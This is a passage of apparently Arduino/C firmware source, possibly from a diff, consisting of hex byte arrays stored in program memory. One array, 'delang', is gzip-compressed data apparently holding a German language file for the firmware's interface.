0x06, 0x24, 0x12, 0xd1, 0xe2, 0xd3, 0x18, 0xa9, 0x41, 0xfe, 0xa8, 0x81, 0xbc, 0x95, 0xab, 0x0b, 0x58, 0x6b, 0x24, 0x7e, 0xf0, 0x30, 0x45, 0x8a, 0xd4, 0x08, 0x5d, 0x51, 0xc0, 0xd8, 0x05, 0x52, 0xd5, 0x89, 0x19, 0x4e, 0x25, 0x48, 0xdb, 0x11, 0xe7, 0x53, 0x18, 0x01, 0x8b, 0x00, 0x5c, 0x36, 0xc7, 0xff, 0x48, 0x25, 0x81, 0xdc, 0xcc, 0x30, 0xb9, 0x4a, 0x8d, 0xc1, 0xdd, 0x29, 0x91, 0xdb, 0x7f, 0x23, 0x23, 0x18, 0x04, 0xbb, 0xd2, 0x17, 0x30, 0xb8, 0x52, 0x0c, 0x9d, 0x94, 0x45, 0xac, 0xf1, 0x21, 0xec, 0x90, 0x40, 0x63, 0x1a, 0x10, 0xf9, 0xf2, 0x33, 0xe1, 0x54, 0x8e, 0x42, 0x44, 0xe5, 0xe1, 0x9b, 0x27, 0xd0, 0x42, 0xa6, 0xcb, 0xcf, 0xbc, 0xf2, 0xc4, 0xa2, 0xa0, 0x6a, 0xe4, 0x9c, 0xaf, 0x23, 0x05, 0xca, 0xc0, 0xf2, 0xef, 0x50, 0x8b, 0x8d, 0x41, 0x45, 0x10, 0xb6, 0x08, 0xe1, 0xd3, 0xad, 0x4f, 0x39, 0x3c, 0x7c, 0xf8, 0xb1, 0x80, 0x80, 0xca, 0xfe, 0xae, 0xc3, 0x8d, 0x2b, 0x23, 0x0e, 0x72, 0x7b, 0x78, 0x27, 0xd8, 0x05, 0xc9, 0x35, 0x6e, 0xe7, 0x13, 0xc6, 0x55, 0xbe, 0x5f, 0x0d, 0xef, 0x2d, 0xbf, 0x70, 0xda, 0x21, 0x25, 0x80, 0xa0, 0x84, 0xab, 0xde, 0x80, 0xb4, 0x88, 0x8d, 0xf7, 0xb2, 0xae, 0x78, 0x9c, 0x03, 0xd4, 0xb1, 0xdd, 0xbc, 0x76, 0xbd, 0x91, 0xe0, 0x52, 0x84, 0x66, 0x04, 0x94, 0xc6, 0xb2, 0x3a, 0x64, 0xf2, 0xf5, 0xc0, 0x42, 0xf7, 0x38, 0x9b, 0x81, 0xdb, 0xd2, 0x67, 0xd6, 0xa6, 0x9c, 0xc6, 0xe3, 0x0c, 0x4e, 0xd5, 0xa2, 0x90, 0xa9, 0x72, 0x6c, 0xb0, 0x35, 0x34, 0x1a, 0xdc, 0xe4, 0x68, 0xf1, 0x29, 0x45, 0x88, 0x43, 0x69, 0xd3, 0xc3, 0x13, 0xb4, 0x5b, 0x7e, 0x91, 0x49, 0x3d, 0xa1, 0xb3, 0xc0, 0x60, 0x64, 0xe9, 0x7a, 0x25, 0x65, 0x31, 0x28, 0x41, 0x1c, 0x93, 0xeb, 0xe1, 0xb7, 0x32, 0xf9, 0x0a, 0xd3, 0xd6, 0x49, 0xd3, 0x39, 0x19, 0xa5, 0xbd, 0x29, 0x24, 0x8a, 0x0f, 0x15, 0x66, 0x40, 0x75, 0x8a, 0x3a, 0xc3, 0xe9, 0xca, 0xc4, 0xc5, 0xdf, 0x84, 0xc2, 0xd0, 0x41, 0x2f, 0x03, 0xbb, 0xca, 0xf5, 0x8a, 0x5f, 0xb5, 0xd7, 0xa5, 0xde, 0x08, 0x6c, 0xb2, 0x40, 0x22, 0x33, 0x2e, 0x26, 0x19, 0x1d, 0x8d, 0xc1, 0x51, 0x07, 0x47, 0xa5, 0xbb, 0x00, 0x0f, 0x2b, 0x18, 0xaf, 0xcf, 0x9e, 0xbd, 0x3a, 0x13, 0xbf, 0x16, 0xa7, 0x67, 0xc7, 0x27, 0xab, 0xe9, 0x7e, 0x26, 0x0c, 0x75, 0x6b, 0xc3, 0x9a, 0x2b, 0x7d, 0xa9, 0x2f, 0xec, 0xe5, 0x25, 0x0d, 0x52, 0x81, 0x12, 0xc7, 0xf8, 0xec, 0xb1, 0x30, 0xb2, 0x96, 0x77, 0xbf, 0xf2, 0x76, 0xea, 0x0b, 0x04, 0xec, 0xa6, 0xba, 0x09, 0xb5, 0x1a, 0x56, 0x46, 0x46, 0x99, 0xba, 0x80, 0xce, 0x89, 0xcd, 0x69, 0xfa, 0xcf, 0xb2, 0xe0, 0xa0, 0x2b, 0x15, 0xcc, 0x06, 0xa2, 0xd2, 0xce, 0xc7, 0x36, 0x99, 0x76, 0xc5, 0x6d, 0x63, 0xf1, 0xf9, 0xf4, 0xab, 0x8b, 0xfd, 0xa2, 0x0b, 0x00, 0x78, 0x3c, 0x3c, 0xf6, 0x9d, 0x32, 0xaa, 0xec, 0xdc, 0xe5, 0xd7, 0x7b, 0x5a, 0xc0, 0xf1, 0xef, 0xb3, 0xaf, 0x1e, 0x05, 0xec, 0x97, 0xb5, 0x1b, 0xf7, 0x27, 0xbc, 0x9e, 0xa1, 0xd6, 0x7e, 0x84, 0xb1, 0x43, 0xf8, 0x8a, 0x37, 0x07, 0x2f, 0x0e, 0x86, 0x05, 0x05, 0x24, 0x46, 0x11, 0x43, 0xe0, 0x8a, 0xee, 0x37, 0x77, 0xf1, 0x46, 0x21, 0x81, 0xf4, 0x5e, 0x7e, 0xa6, 0xea, 0xfb, 0xec, 0x04, 0x14, 0x80, 0x42, 0xec, 0xda, 0xf3, 0x1a, 0xf0, 0x37, 0x8e, 0x7e, 0xa6, 0x34, 0x67, 0xc4, 0x98, 0x26, 0x2a, 0x64, 0xce, 0x75, 0x20, 0xb5, 0x94, 0xf5, 0x44, 0x5a, 0xc0, 0xc6, 0x08, 0xee, 0x06, 0x32, 0x8d, 0xd2, 0x79, 0x91, 0x81, 0x2f, 0x1a, 0x87, 0x0c, 0x09, 0x24, 0xf3, 0x6a, 0xe7, 0xc9, 0xee, 0xee, 0x6f, 0x7b, 0x0e, 0x11, 0xc4, 0xdd, 0x06, 0x82, 0x0b, 0x7a, 0x54, 0x3b, 0xdb, 0xa5, 0x68, 0x54, 0xb2, 0xc6, 0xa3, 0x5f, 0x44, 0x32, 0xe1, 0x89, 0x5b, 0x43, 0xf3, 0x94, 0x86, 0x9e, 0x87, 0xd0, 0xd4, 0xf2, 0xf3, 0xe0, 0x32, 0x20, 0xdd, 0x50, 0x0f, 0x59, 0xe2, 0x69, 0x6b, 0xca, 0xc5, 0x58, 0xe1, 0x13, 0xc8, 0x73, 0x51, 0x57, 0x1e, 0x01, 0x58, 0xee, 0x36, 0x93, 0xc0, 0x15, 0x2c, 0xf0, 0x75, 0x91, 0xa1, 0x84, 0xb4, 0x2b, 0x8c, 0x05, 0xc6, 0x5d, 0x79, 0xc4, 0x86, 0x83, 0xfa, 0xd0, 0xee, 0x52, 0x29, 0x52, 0x32, 0x46, 0x55, 0xed, 0xfc, 0x43, 0xc9, 0x38, 0x6b, 0x34, 0x20, 0x50, 0x65, 0xc6, 0x97, 0x06, 0xd6, 0x28, 0x30, 0xe5, 0xa9, 0xf0, 0xeb, 0xbd, 0x4b, 0xa6, 0x23, 0x71, 0x8c, 0x8d, 0xb8, 0x40, 0xf0, 0x17, 0xd8, 0x58, 0x3c, 0x26, 0xd6, 0x18, 0x1c, 0x86, 0x5a, 0x07, 0xb2, 0x36, 0x27, 0x43, 0x3b, 0xe2, 0xe2, 0xa0, 0xe4, 0x82, 0xb0, 0x92, 0xee, 0xe5, 0x1b, 0x01, 0xa8, 0xf1, 0x53, 0xde, 0x5e, 0xe3, 0xc2, 0x1e, 0x96, 0xc9, 0x93, 0x85, 0x8a, 0x91, 0x19, 0xa9, 0x2f, 0xb9, 0xb8, 0x4b, 0x0a, 0x30, 0x66, 0xa0, 0x62, 0x85, 0x61, 0xfe, 0x48, 0x0d, 0xf5, 0x8d, 0x88, 0x67, 0x12, 0xb2, 0xc8, 0x26, 0x9d, 0x7a, 0x6d, 0x6d, 0xaf, 0xd5, 0x34, 0x04, 0xcd, 0x94, 0x63, 0x40, 0xcc, 0x26, 0x1a, 0x4c, 0x8f, 0xef, 0x45, 0x1c, 0xb9, 0x72, 0x99, 0x0e, 0x2d, 0x51, 0x94, 0x21, 0x18, 0xc0, 0xd8, 0x99, 0xbb, 0x01, 0xb7, 0xb0, 0x7f, 0xf9, 0xcf, 0xd1, 0xdd, 0x56, 0x27, 0xc0, 0x29, 0x9d, 0x95, 0x4b, 0xb7, 0x0a, 0x61, 0x2a, 0x7a, 0xaa, 0x64, 0x50, 0x3c, 0xef, 0x3b, 0x06, 0xe4, 0x4e, 0x3b, 0x27, 0x86, 0xe9, 0x2f, 0x8b, 0x6d, 0xb2, 0x01, 0x88, 0x80, 0xf2, 0x03, 0x8c, 0x18, 0xa7, 0x66, 0x92, 0x72, 0x85, 0x58, 0xd5, 0x8a, 0xff, 0x5e, 0x93, 0xdd, 0xaa, 0x4c, 0x25, 0xe9, 0x74, 0x34, 0x04, 0xd8, 0x0b, 0x30, 0x8d, 0x4a, 0x7b, 0x36, 0x1a, 0xa8, 0x02, 0xba, 0x93, 0x72, 0x06, 0xe2, 0xed, 0x26, 0x23, 0xd1, 0x3c, 0x19, 0xed, 0x42, 0xfa, 0x4b, 0x5f, 0xde, 0x22, 0x98, 0xde, 0x23, 0x29, 0x7e, 0x6c, 0x60, 0xe2, 0xe8, 0x65, 0x66, 0x09, 0x18, 0x3d, 0x05, 0x43, 0x2e, 0xd2, 0xf6, 0x5f, 0x49, 0xbd, 0x2e, 0x81, 0xaa, 0xec, 0x96, 0x08, 0x04, 0xd4, 0x23, 0x2a, 0x55, 0xf1, 0x10, 0x3c, 0x91, 0x4d, 0x6a, 0x24, 0x9e, 0x78, 0x34, 0x51, 0x3b, 0x19, 0x55, 0xaa, 0x02, 0x94, 0xde, 0x3e, 0x86, 0xd0, 0xe7, 0xed, 0x75, 0x96, 0x4a, 0x2a, 0x79, 0x64, 0x4a, 0x12, 0x8d, 0xf6, 0x49, 0x8b, 0x3d, 0xc4, 0xec, 0x37, 0x7b, 0x5c, 0x5f, 0x37, 0xae, 0x52, 0xc8, 0xaa, 0xba, 0xb2, 0x25, 0xf3, 0xab, 0x3f, 0x28, 0xba, 0xc9, 0xff, 0x2d, 0xec, 0xe9, 0x57, 0x85, 0x0d, 0xa8, 0xed, 0x39, 0xc5, 0x9e, 0x9d, 0x75, 0x5e, 0xf3, 0xc9, 0xd5, 0xa7, 0x36, 0x53, 0x89, 0x10, 0xea, 0x9c, 0x41, 0x82, 0xe1, 0x77, 0xc3, 0x48, 0x63, 0x9d, 0x20, 0xa7, 0x3d, 0x79, 0x2f, 0xa7, 0x13, 0xb5, 0xa6, 0xfa, 0x2d, 0x29, 0xce, 0xf1, 0x71, 0x75, 0x87, 0x26, 0x6d, 0x5e, 0x65, 0x5d, 0x49, 0x59, 0xa0, 0x05, 0x51, 0x27, 0xb6, 0x74, 0x9e, 0x2d, 0x3e, 0x4b, 0xf1, 0x9d, 0xe0, 0x28, 0xcc, 0x40, 0x31, 0x9a, 0xfa, 0x5f, 0xce, 0x06, 0x8a, 0xda, 0x8e, 0xfc, 0xf6, 0xc7, 0xd2, 0x20, 0x42, 0x58, 0xc7, 0x29, 0x0e, 0xaa, 0x53, 0x64, 0x4b, 0xb2, 0x22, 0x31, 0xc8, 0x0e, 0x44, 0xe5, 0x1a, 0x48, 0x02, 0x06, 0x07, 0xd5, 0xfc, 0x7e, 0x01, 0x43, 0x5e, 0xbe, 0xc6, 0x74, 0x59, 0xeb, 0xaf, 0x4a, 0x6c, 0x44, 0x8e, 0x5e, 0x14, 0x99, 0x5e, 0x1b, 0x8c, 0xc4, 0xe3, 0xf5, 0xc3, 0x51, 0xb1, 0x8a, 0x4c, 0x4e, 0xd7, 0x94, 0x5f, 0x5d, 0x3c, 0xcc, 0xaa, 0x7b, 0xf7, 0x9c, 0x41, 0x1f, 0x14, 0xac, 0xbe, 0x55, 0x60, 0x38, 0x09, 0x42, 0xa8, 0x51, 0x0c, 0x7e, 0x07, 0x5e, 0x86, 0x0d, 0x30, 0x32, 0xb2, 0x12, 0xad, 0x89, 0x31, 0x4c, 0x75, 0x56, 0x2a, 0x4f, 0x3d, 0x75, 0x1e, 0x85, 0x1e, 0x72, 0x5a, 0x70, 0x3b, 0x2b, 0x16, 0x1f, 0xe8, 0xa6, 0x68, 0x66, 0xba, 0xc0, 0x21, 0xa8, 0xd8, 0xdd, 0xc8, 0x2a, 0x55, 0xea, 0x0d, 0x9f, 0xde, 0x43, 0x36, 0x70, 0xf2, 0x11, 0x1b, 0x3a, 0xb1, 0xf0, 0x74, 0xed, 0x5f, 0x68, 0xb8, 0xd5, 0x2e, 0x50, 0x0b, 0xa4, 0x7b, 0x78, 0xcf, 0x99, 0xfb, 0x08, 0xe6, 0xb5, 0x73, 0x81, 0x7c, 0xb3, 0xa6, 0x16, 0x8f, 0x50, 0x2f, 0xec, 0x63, 0xdf, 0x79, 0x33, 0xf7, 0xbd, 0xf5, 0xcd, 0xbb, 0x4a, 0xc9, 0x04, 0xbd, 0x6c, 0xd0, 0x9f, 0x99, 0x45, 0xc5, 0x5c, 0x3b, 0x19, 0xb1, 0xb5, 0x76, 0xe4, 0x9d, 0x58, 0x1b, 0xad, 0xb3, 0x3e, 0xcc, 0x9f, 0x16, 0xfa, 0xf2, 0xb2, 0x1a, 0x32, 0x84, 0xd3, 0x93, 0x83, 0x17, 0x2f, 0x4e, 0x59, 0x01, 0xea, 0xe0, 0xe2, 0x31, 0x90, 0xb8, 0x3b, 0x08, 0x08, 0x1d, 0xd9, 0x72, 0x23, 0x47, 0x33, 0xdf, 0x6b, 0xf5, 0x52, 0x1f, 0xbd, 0xfa, 0xfd, 0x0f, 0x8f, 0xa9, 0x63, 0x59, 0x5f, 0x96, 0xcb, 0xf7, 0xf1, 0x98, 0x16, 0xbe, 0x94, 0xef, 0x47, 0x21, 0x7d, 0x61, 0xb8, 0xd7, 0xa7, 0xe2, 0x77, 0x62, 0x6f, 0x6f, 0x5b, 0xec, 0xbf, 0xa6, 0x0f, 0xdf, 0x6c, 0x8b, 0x9f, 0xc0, 0xdd, 0x4d, 0x05, 0x40, 0xc7, 0xd7, 0xdf, 0x6c, 0x9e, 0x11, 0x3f, 0x3b, 0xe1, 0x33, 0x9e, 0xfd, 0x28, 0x64, 0x02, 0x4e, 0x85, 0x96, 0x89, 0xa0, 0x26, 0x67, 0x40, 0x04, 0x84, 0xae, 0xc6, 0x19, 0x11, 0x8c, 0xc4, 0xc5, 0x91, 0x04, 0x92, 0x5a, 0x23, 0x2a, 0xe1, 0xd0, 0x2f, 0x2c, 0x17, 0x92, 0x14, 0xbe, 0x93, 0x0f, 0x10, 0x71, 0xea, 0xee, 0x88, 0xe0, 0xf3, 0xbb, 0xe6, 0xf1, 0xbf, 0x94, 0xc3, 0x42, 0xc2, 0x96, 0xaf, 0x08, 0x43, 0xc9, 0x1d, 0xb6, 0xc3, 0x64, 0xf3, 0x61, 0x4b, 0x0c, 0x06, 0x62, 0xec, 0xd8, 0x06, 0x63, 0xd5, 0x77, 0x92, 0x4d, 0x3c, 0xea, 0x85, 0x05, 0xf4, 0x20, 0x40, 0x53, 0x55, 0x2a, 0x7b, 0x46, 0xee, 0xb7, 0x2e, 0x3f, 0x6f, 0xc0, 0x4a, 0xae, 0xcd, 0x73, 0x66, 0x68, 0xec, 0xfa, 0x97, 0xda, 0xe8, 0x9c, 0x1f, 0xaf, 0xe8, 0xad, 0x92, 0x9e, 0x4a, 0x10, 0x8d, 0xe3, 0x0c, 0x95, 0xd0, 0xbf, 0x55, 0x42, 0x12, 0x3f, 0xea, 0x81, 0x17, 0xf8, 0xf2, 0x89, 0xc2, 0x54, 0x73, 0x4f, 0xaa, 0x4d, 0xa2, 0x41, 0xd6, 0x1d, 0xa2, 0x7e, 0x03, 0x56, 0xb8, 0x43, 0x72, 0xab, 0x24, 0xe6, 0x37, 0x10, 0x4a, 0xd7, 0x61, 0x5e, 0xce, 0x18, 0x94, 0x58, 0x2a, 0x3e, 0x27, 0x44, 0xf9, 0x73, 0xce, 0x4b, 0x44, 0xd1, 0x30, 0xe1, 0x1f, 0xff, 0x42, 0xee, 0x7a, 0x60, 0xbb, 0x9b, 0xba, 0x97, 0xb6, 0x8c, 0x55, 0x01, 0x25, 0x42, 0x2f, 0x7e, 0xe2, 0x2f, 0x46, 0x16, 0xab, 0xc2, 0x45, 0x56, 0x84, 0xd5, 0xf3, 0x1e, 0x8a, 0xa0, 0xa3, 0xee, 0x38, 0xcf, 0x37, 0x31, 0x45, 0x14, 0xd9, 0xba, 0xba, 0xf3, 0xec, 0x5a, 0x3f, 0xd6, 0x3d, 0x57, 0xf5, 0x65, 0x1f, 0x3e, 0xa2, 0x47, 0x43, 0x4f, 0x00, 0x21, 0xa3, 0xa2, 0xc5, 0x09, 0x99, 0xb0, 0x23, 0xb7, 0x83, 0xb6, 0x2a, 0xf4, 0xb3, 0xc8, 0x2c, 0x30, 0xbf, 0x14, 0x4e, 0x44, 0xd3, 0x2a, 0xfd, 0xc3, 0xdc, 0x1a, 0x7c, 0x03, 0xd7, 0xb0, 0x27, 0x82, 0xef, 0x41, 0x80, 0x28, 0xfa, 0xe4, 0xfb, 0xde, 0x5f, 0x5e, 0x3b, 0x49, 0x31, 0xf0, 0xe4, 0xdb, 0x6f, 0xd7, 0x91, 0xc6, 0x93, 0x70, 0xb0, 0xb2, 0xd2, 0xbf, 0x49, 0xf0, 0x93, 0x08, 0x50, 0x23, 0xdd, 0xa4, 0xe7, 0x1c, 0xc3, 0x9d, 0x35, 0x3a, 0xe0, 0xb9, 0xce, 0x6b, 0xa6, 0xb8, 0x1b, 0x20, 0xe3, 0xb7, 0xbe, 0x52, 0x70, 0x00, 0x57, 0xd2, 0x43, 0x84, 0x79, 0x5f, 0x86, 0xe9, 0x79, 0x9a, 0x30, 0x20, 0x59, 0x7e, 0x6e, 0x50, 0x4c, 0x29, 0x8a, 0x40, 0x22, 0xe7, 0x7c, 0x8d, 0xae, 0x07, 0x20, 0xf4, 0x26, 0x56, 0x85, 0xab, 0xac, 0x1d, 0xec, 0xf9, 0xe9, 0xa0, 0xe2, 0x7b, 0xd2, 0xdd, 0x65, 0xce, 0xf6, 0x3a, 0x81, 0x25, 0x9d, 0x37, 0xf8, 0x22, 0xa8, 0xa8, 0x4d, 0x32, 0xdd, 0x59, 0xbf, 0xa7, 0xdf, 0xf7, 0x89, 0x39, 0x18, 0x3c, 0xee, 0x7c, 0x45, 0x4e, 0x5f, 0x00, 0xd9, 0x3a, 0x7b, 0xd5, 0x28, 0x74, 0x01, 0x06, 0xac, 0x6d, 0x63, 0x6e, 0x77, 0x37, 0xaf, 0x88, 0xde, 0x28, 0xdf, 0x6f, 0xf6, 0xb3, 0x1d, 0x43, 0x5c, 0x05, 0x53, 0xe7, 0x47, 0x84, 0x13, 0x3c, 0xbd, 0x96, 0xed, 0x21, 0x1a, 0x5c, 0x49, 0xec, 0x19, 0xe6, 0xcf, 0x36, 0x0a, 0xa3, 0xef, 0xe8, 0xce, 0xfe, 0xb4, 0x06, 0xb6, 0x5d, 0x0b, 0x77, 0x4b, 0xef, 0xba, 0x30, 0x04, 0xbf, 0x8a, 0x22, 0x1a, 0x53, 0x6b, 0xd6, 0x6a, 0x88, 0x4f, 0x84, 0x0d, 0x26, 0x47, 0x0c, 0xbc, 0x3a, 0x51, 0x25, 0xbf, 0x59, 0xf6, 0xb1, 0x51, 0x78, 0x62, 0xfe, 0x95, 0xd0, 0x18, 0xf0, 0xf9, 0xbe, 0x00, 0x84, 0x3f, 0x99, 0xac, 0x18, 0xda, 0x44, 0xce, 0xa6, 0xe9, 0xfd, 0x74, 0x87, 0x20, 0x7f, 0xa2, 0x2b, 0xc7, 0xef, 0x03, 0x55, 0x78, 0x79, 0x4e, 0xd4, 0x25, 0x20, 0xc8, 0xff, 0x29, 0xc4, 0xd7, 0x18, 0x7f, 0x84, 0x14, 0xea, 0x3d, 0xd6, 0xe2, 0xa2, 0x0f, 0xb7, 0x1e, 0xfc, 0xf5, 0xc1, 0x83, 0xff, 0x00, 0xc7, 0x3b, 0x4b, 0x72, 0xa4, 0x19, 0x00, 0x00}; +const char delang[] PROGMEM = {0x1f, 0x8b, 0x08, 0x08, 0xb6, 0x41, 0xf9, 0x5b, 0x02, 0xff, 0x64, 0x65, 0x2e, 0x6c, 0x61, 0x6e, 0x67, 0x00, 0x9d, 0x59, 0xcd, 0x6e, 0x1b, 0xc9, 0x11, 0x3e, 0x67, 0x9f, 0xa2, 0x57, 0x27, 0x1b, 0x20, 0xb9, 0x92, 0x9d, 0x5d, 0x6c, 0x16, 0xc8, 0x81, 0xb6, 0x28, 0x5b, 0xfe, 0xd1, 0x2a, 0xa2, 0x6c, 0x07, 0x86, 0x00, 0xa1, 0x39, 0x53, 0x24, 0xdb, 0x9c, 0xe9, 0xe1, 0x76, 0xf7, 0x88, 0x8e, 0x82, 0xdc, 0xf2, 0x18, 0x01, 0xf6, 0xe2, 0x67, 0xf0, 0xc9, 0x37, 0xbe, 0x58, 0xbe, 0xaa, 0xee, 0xe1, 0xcc, 0x50, 0xf2, 0x66, 0xb3, 0x86, 0x6d, 0x91, 0x33, 0xdd, 0xd5, 0xf5, 0xfb, 0xd5, 0x57, 0xad, 0x7f, 0x7e, 0xa3, 0xf0, 0xe7, 0xa0, 0xd0, 0x76, 0x71, 0xf0, 0x93, 0x3a, 0xc8, 0xe9, 0x60, 0x10, 0x9f, 0x6c, 0xb4, 0xb3, 0x26, 0x3e, 0x7c, 0x37, 0xbe, 0x38, 0x7b, 0x73, 0xf6, 0xac, 0x79, 0x93, 0x1b, 0x9f, 0x15, 0xda, 0x94, 0xe4, 0xf8, 0xe5, 0xb1, 0x21, 0x4f, 0x5e, 0x9d, 0xbb, 0xaa, 0x9a, 0x0f, 0xf1, 0xf7, 0x69, 0x65, 0x33, 0x5a, 0x87, 0x21, 0x1e, 0x7c, 0xa0, 0x55, 0x50, 0xc6, 0x07, 0x75, 0x5b, 0x97, 0xea, 0x15, 0x39, 0x4b, 0x56, 0xd5, 0x36, 0x57, 0x97, 0xe4, 0x03, 0xd9, 0xd1, 0x95, 0x7d, 0x47, 0x39, 0x39, 0xc5, 0xff, 0x26, 0xd3, 0xf3, 0x1f, 0x1f, 0xfd, 0xf0, 0xc3, 0x40, 0xd9, 0x2a, 0x5b, 0xaa, 0x5c, 0x7b, 0x35, 0x3d, 0x7e, 0xa9, 0xbc, 0xc1, 0xea, 0xf9, 0xf6, 0x8b, 0x53, 0xbe, 0x2a, 0xb2, 0x25, 0xa9, 0xf7, 0x1b, 0xca, 0x56, 0xa4, 0x16, 0x54, 0xea, 0x6c, 0x19, 0x46, 0xea, 0x84, 0x96, 0x05, 0x76, 0xaf, 0xb6, 0x9f, 0x2d, 0x0b, 0xd7, 0xf5, 0x3c, 0x38, 0x82, 0xec, 0x6f, 0xaf, 0xec, 0x95, 0x7d, 0x42, 0xb6, 0x0e, 0xb7, 0xa4, 0xa0, 0x9d, 0xad, 0x1d, 0x36, 0x2d, 0xb0, 0x84, 0x0c, 0xfe, 0x27, 0x75, 0x46, 0xe1, 0x76, 0x43, 0x0e, 0xb2, 0x58, 0xa1, 0x67, 0xe4, 0xb6, 0x9f, 0x02, 0xc9, 0xae, 0x89, 0x57, 0x78, 0x91, 0x63, 0xe9, 0x8d, 0x2e, 0x4c, 0x4e, 0xea, 0x9d, 0x19, 0x9e, 0xe0, 0xaf, 0xd3, 0x25, 0x0b, 0xc2, 0xb9, 0xea, 0x74, 0x32, 0x99, 0xa8, 0x1f, 0x0f, 0x1f, 0x8d, 0x8e, 0x8e, 0xd4, 0x0d, 0xb9, 0x0d, 0xd9, 0x9c, 0x82, 0x08, 0x5a, 0x91, 0x81, 0xf0, 0x13, 0x47, 0xbf, 0xd4, 0x64, 0x6f, 0x21, 0x63, 0x01, 0x53, 0xb7, 0x9f, 0x5d, 0x50, 0x15, 0x5b, 0x39, 0x2b, 0xaa, 0x6c, 0x65, 0xc8, 0x85, 0x91, 0xe8, 0x67, 0x42, 0x20, 0x35, 0xa3, 0x5b, 0x32, 0xd9, 0x12, 0xdb, 0xf2, 0x9d, 0x27, 0xc5, 0x71, 0x16, 0x4f, 0x83, 0xd2, 0x85, 0x57, 0x57, 0x07, 0x2f, 0x74, 0x09, 0x77, 0x5f, 0x1d, 0x44, 0x31, 0x57, 0x07, 0x53, 0x16, 0xea, 0xf9, 0x5c, 0x3c, 0x1c, 0xb0, 0xbf, 0x3c, 0xce, 0x0f, 0xe4, 0x16, 0x30, 0x64, 0x16, 0x14, 0xab, 0x3f, 0x35, 0xd6, 0xee, 0xc9, 0x24, 0xff, 0x2d, 0x3b, 0x9d, 0x9f, 0xd7, 0xec, 0x96, 0x9c, 0x9d, 0x1d, 0x6a, 0x1f, 0x06, 0x0a, 0x4a, 0x2c, 0x42, 0x72, 0x55, 0x12, 0x88, 0x35, 0xa2, 0x83, 0x57, 0x37, 0x15, 0x76, 0x50, 0x39, 0x50, 0x9b, 0x4a, 0xa2, 0xc1, 0xf1, 0x69, 0xd4, 0x44, 0x28, 0x97, 0xd8, 0x0f, 0x3f, 0xf8, 0xa0, 0x2d, 0x1f, 0xbc, 0xd4, 0x9e, 0x0d, 0x44, 0x62, 0xa8, 0xb7, 0x70, 0xec, 0xe7, 0xf9, 0x9c, 0x6c, 0x28, 0x20, 0xa9, 0xb6, 0x0b, 0x11, 0x75, 0x6a, 0x97, 0xba, 0x08, 0xbc, 0x12, 0xbe, 0xb8, 0xad, 0x55, 0xc5, 0xd6, 0x63, 0x8d, 0x5f, 0x3b, 0x42, 0x94, 0x21, 0x44, 0x4d, 0x5c, 0xb1, 0xfd, 0x54, 0xc3, 0x20, 0xde, 0x23, 0xba, 0xb5, 0x4a, 0xa5, 0x78, 0x8a, 0x26, 0xe3, 0x7a, 0x0e, 0xc7, 0xac, 0xbc, 0x2e, 0xe1, 0x7a, 0xac, 0x79, 0x89, 0x73, 0x56, 0xec, 0x8b, 0xfc, 0x3b, 0x71, 0xd5, 0x33, 0x2a, 0x72, 0xc5, 0xc9, 0xe2, 0x3b, 0x01, 0xb2, 0xea, 0x82, 0xfc, 0x9a, 0x95, 0x17, 0x19, 0x0b, 0x42, 0x8e, 0x22, 0x2d, 0xbc, 0x9a, 0x70, 0x72, 0x84, 0x1a, 0x86, 0xc2, 0x6f, 0xd8, 0x5b, 0x62, 0xb5, 0xcf, 0x96, 0x7a, 0x0e, 0x8f, 0xea, 0xa5, 0x61, 0x07, 0x8b, 0x14, 0xb6, 0xf2, 0xa5, 0x2e, 0xd7, 0xf3, 0x28, 0x20, 0xca, 0x9c, 0x91, 0xf7, 0xe4, 0xf0, 0x21, 0x26, 0xcc, 0x94, 0xbd, 0xa1, 0x5d, 0xde, 0xb8, 0xe3, 0xca, 0x9e, 0xf0, 0xda, 0x92, 0x96, 0x0e, 0x0e, 0x98, 0x57, 0xae, 0xd4, 0xc1, 0x54, 0xd8, 0x38, 0xe0, 0x9d, 0x35, 0xec, 0xfe, 0x09, 0x05, 0xf6, 0xa7, 0x4e, 0x75, 0x0d, 0x67, 0x75, 0x08, 0x95, 0xe5, 0x22, 0x3b, 0x45, 0x9c, 0x96, 0x7a, 0x46, 0x72, 0xf2, 0x73, 0x63, 0x37, 0x50, 0x19, 0x7a, 0x17, 0x08, 0x6e, 0x2c, 0xa9, 0xd6, 0xfd, 0x22, 0xc4, 0x51, 0x51, 0xe9, 0x9c, 0x77, 0x9e, 0x51, 0xad, 0x0a, 0xdd, 0x3c, 0xf7, 0x99, 0x16, 0x79, 0x53, 0xfe, 0x29, 0x0f, 0xbc, 0xc9, 0xbd, 0x3c, 0x99, 0x9e, 0x1e, 0x7b, 0x79, 0xa4, 0x43, 0xd0, 0xf0, 0x21, 0x3f, 0x1c, 0xcb, 0xc7, 0x66, 0x2f, 0x85, 0x00, 0x40, 0x90, 0x17, 0x13, 0xf8, 0x25, 0x50, 0x51, 0x20, 0x3a, 0xe9, 0xad, 0x81, 0x49, 0xa2, 0x29, 0xff, 0x6c, 0x1e, 0x5c, 0xfb, 0x75, 0x3c, 0xef, 0xf4, 0xec, 0xe4, 0x67, 0xfc, 0x10, 0xf1, 0x45, 0x21, 0xa2, 0x8b, 0x82, 0xe4, 0x3b, 0xdc, 0x8b, 0xda, 0x95, 0x67, 0x2f, 0xb5, 0xd5, 0x45, 0x74, 0x02, 0xdd, 0x98, 0x8c, 0xe4, 0xa8, 0x67, 0x1c, 0x2a, 0x24, 0x0f, 0xaa, 0x86, 0x9a, 0x42, 0x4d, 0xfa, 0x14, 0x94, 0x85, 0xeb, 0x8e, 0x3c, 0xd4, 0xbf, 0xdf, 0x6c, 0x3f, 0x01, 0x12, 0x6c, 0x92, 0xb2, 0xb7, 0x06, 0xaf, 0xf5, 0xb2, 0x60, 0x98, 0x58, 0xd2, 0x6c, 0xe7, 0xaa, 0xb2, 0xba, 0xa1, 0x9e, 0x18, 0xe4, 0xc0, 0x5c, 0xd0, 0x2a, 0x9e, 0x13, 0x24, 0x50, 0xd7, 0xec, 0xbb, 0xeb, 0x80, 0xc0, 0x88, 0xbb, 0xe2, 0xc3, 0x21, 0x3b, 0x72, 0xf8, 0x1e, 0xa9, 0x27, 0x4b, 0x2d, 0x6d, 0x92, 0xcf, 0xe3, 0x4e, 0x7d, 0x13, 0x17, 0x27, 0x03, 0xa2, 0x3c, 0x9d, 0x4b, 0x60, 0x10, 0xc5, 0xdb, 0x1a, 0xe9, 0xd3, 0x38, 0x10, 0x8f, 0xaf, 0xa3, 0xba, 0x24, 0xef, 0x5f, 0x16, 0x48, 0x0e, 0xb6, 0x68, 0x41, 0x62, 0x13, 0xac, 0x1f, 0x9f, 